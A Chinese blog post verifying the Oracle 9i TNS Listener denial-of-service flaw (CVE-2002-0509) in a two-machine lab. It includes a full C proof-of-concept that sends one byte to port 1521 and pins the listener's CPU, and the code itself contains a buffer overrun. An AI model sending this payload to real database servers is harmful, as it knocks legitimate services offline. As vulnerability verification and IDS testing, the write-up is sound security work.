Chinaunix首页 | 论坛 | 博客
  • 博客访问: 53693
  • 博文数量: 20
  • 博客积分: 1240
  • 博客等级: 中尉
  • 技术积分: 270
  • 用 户 组: 普通用户
  • 注册时间: 2008-05-02 09:47
文章存档

2010年(1)

2009年(5)

2008年(14)

我的朋友
最近访客

分类: Oracle

2008-05-05 22:54:23

Oracle 9i TNS远程拒绝服务攻击漏洞
tomqq 6/15/2006
1、 概述
Oracle是一款流行的大型关系数据库系统,使用于Unix、Linux和Microsoft Windows平台下。Oracle中的TNS Listener守护程序存在漏洞,可导致拒绝服务攻击。
远程攻击者可以构建只包含一个字节的信息包发送给TNS listener监听的端口1521,可导致Oracle所在的系统CPU占用率达到100%,导致拒绝对其他合法服务进行响应。
BUGTRAQ  ID: 4391
CVE(CAN) ID: CVE-2002-0509
 
2、 影响系统
Oracle Oracle9i 9.0.1
Oracle Oracle9i 9.0
 
3、 真机验证
有2台机器作为测试用机。219装有Oracle服务端,版本是10.1.0.2;191装有oracle的服务端,版本是9.0.1.1.1。攻击前,使用sqlplus,可以顺利从219登陆到191。
撰写一个socket的客户端程序,功能很简单:连上191的1521端口,发送一个字节的数据。程序是:
 

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
int main(){
 int sockfd;
 int len;
 struct sockaddr_in address;
 int result;
 char code[] = "\x0d";//攻击数据

 
 sockfd = socket(AF_INET,SOCK_STREAM,0);
 //填充地址字

 address.sin_family = AF_INET;
 address.sin_addr.s_addr = inet_addr("192.168.2.191");
 address.sin_port = htons(1521);
 len = sizeof(address);
 result = connect(sockfd,(struct sockaddr *)&address,len);
 if(result == -1){
  perror("connect error!");
  exit(1);
 }
 //写数据

 write(sockfd,code,1);
 read(sockfd,code,2000);
 printf("%x",code[10]);
 
 printf("Read from server is:%c\n",code);
 close(sockfd);
 exit(0);
}

 
编译后,执行这个程序,发送2次后迅速切换到191,看看攻击效果和抓包效果,我们发现TNS的cpu占用率已经达到了97%,再用219的sqlplus登陆191时,已经无法连接,只有重启191后方可正常连接。此时,IDS报警捕捉到了这次攻击,见下所有图:
图1 tns的cpu占用已经达到了97%

图2  SQLPLUS已经无法连上被攻击oracle服务器


阅读(778) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~